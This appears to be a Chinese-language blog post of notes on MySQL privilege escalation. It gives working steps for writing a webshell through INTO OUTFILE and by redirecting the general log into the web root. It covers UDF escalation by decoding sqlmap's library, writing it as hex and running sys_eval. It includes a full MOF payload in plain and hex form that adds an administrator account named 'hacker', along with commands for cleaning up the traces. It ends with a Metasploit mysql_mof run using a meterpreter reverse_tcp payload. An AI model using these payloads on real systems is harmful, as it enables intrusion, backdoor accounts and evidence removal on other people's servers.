参考文章:https://www.sqlsec.com/2020/11/mysql.html

权限获取

要提权之前首先就要拿到mysql的权限,这里大佬的文章已经说的很详细了,我就记录一些写shell相关的知识

into outfile写shell

需要load_file () 开启 即 secure_file_priv 无限制

可以通过下面命令查看

show global variables like '%secure_file_priv%';
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

日志写shell

可以下面命令查看日志位置

SHOW VARIABLES LIKE 'general%';

+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

我们可以自己修改日志文件位置,这样就可以写shell进去了

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

udf提权

自定义函数(user defined function),是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。

手工复现

动态链接库

自定义函数是是使用动态链接库的形式实现的,如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

动态链接库的文件可以去sqlmap和metasploit工具里面去找

sqlmap的udf文件位置

sqlmap根目录/data/udf/mysql

image-20240712174152824

里面有windows和Linux的32位和64位的动态链接库

不过sqlmap里的动态链接库为了防止误杀经过编码处理不能直接使用,不过可以利用sqlmap自带的解码工具来进行解码使用,工具在/extra/cloak/cloak.py

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

Metasploit的udf文件位置

MSF根目录/data/exploits/mysql

image-20240713012640874

msf自带的动态链接库不需要解码可以直接使用

kali里面msf的根目录在/usr/share/metasploit-framework

下一步就是将链接库放到插件目录下

可以用下面命令查找插件目录

show variables like "%plugin%"
#这样也行
select @@plugin_dir;

如果不存在的话可以找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹

找mysql的安装目录可以用这个命令

select @@basedir;

写入动态链接库

sql注入是post注入可以直接写,因为get有长度限制,这里可以用sqlmap来写

sqlmap -u <url地址> --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

也可以直接手工用sql语句写进去,这些前提都是有写权限

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO OUTFILE '/usr/lib/mysql/plugin/udf.so';

十六进制的获取可以直接本地用mysql的hex函数编码一下

# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

然后就是创建自定义函数并调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
#查看是否新增了sys_eval
select * from mysql.func;
#然后就可以执行系统命令了
select sys_eval('whoami');
#删除自定义函数
drop function sys_eval;

如果想看so文件里面有哪些函数,可以拖进ida里面看一看

mof提权

这是一个比较老的漏洞了,基本上在 Windows Server 2003 的环境下才可以成功。

提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

mof脚本的内容

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

核心payload

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
#这两段指令分别是使用net.exe工具添加一个名为"hacker"的新用户,密码设置为"P@ssw0rd"。/add参数表示添加一个新用户
#将用户"hacker"添加到本地管理员组(localgroup administrators)。这意味着"hacker"用户将拥有管理员权限。

依然可以用上面的方法把文件变成十六进制写入

mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/good/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下

痕迹清理

因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果

# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

msf提权

msf里面就有mof提权的模块,还会自动清理痕迹

msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
msf6 > set rhosts 10.211.55.21
msf6 > set username root
msf6 > set password root
msf6 > run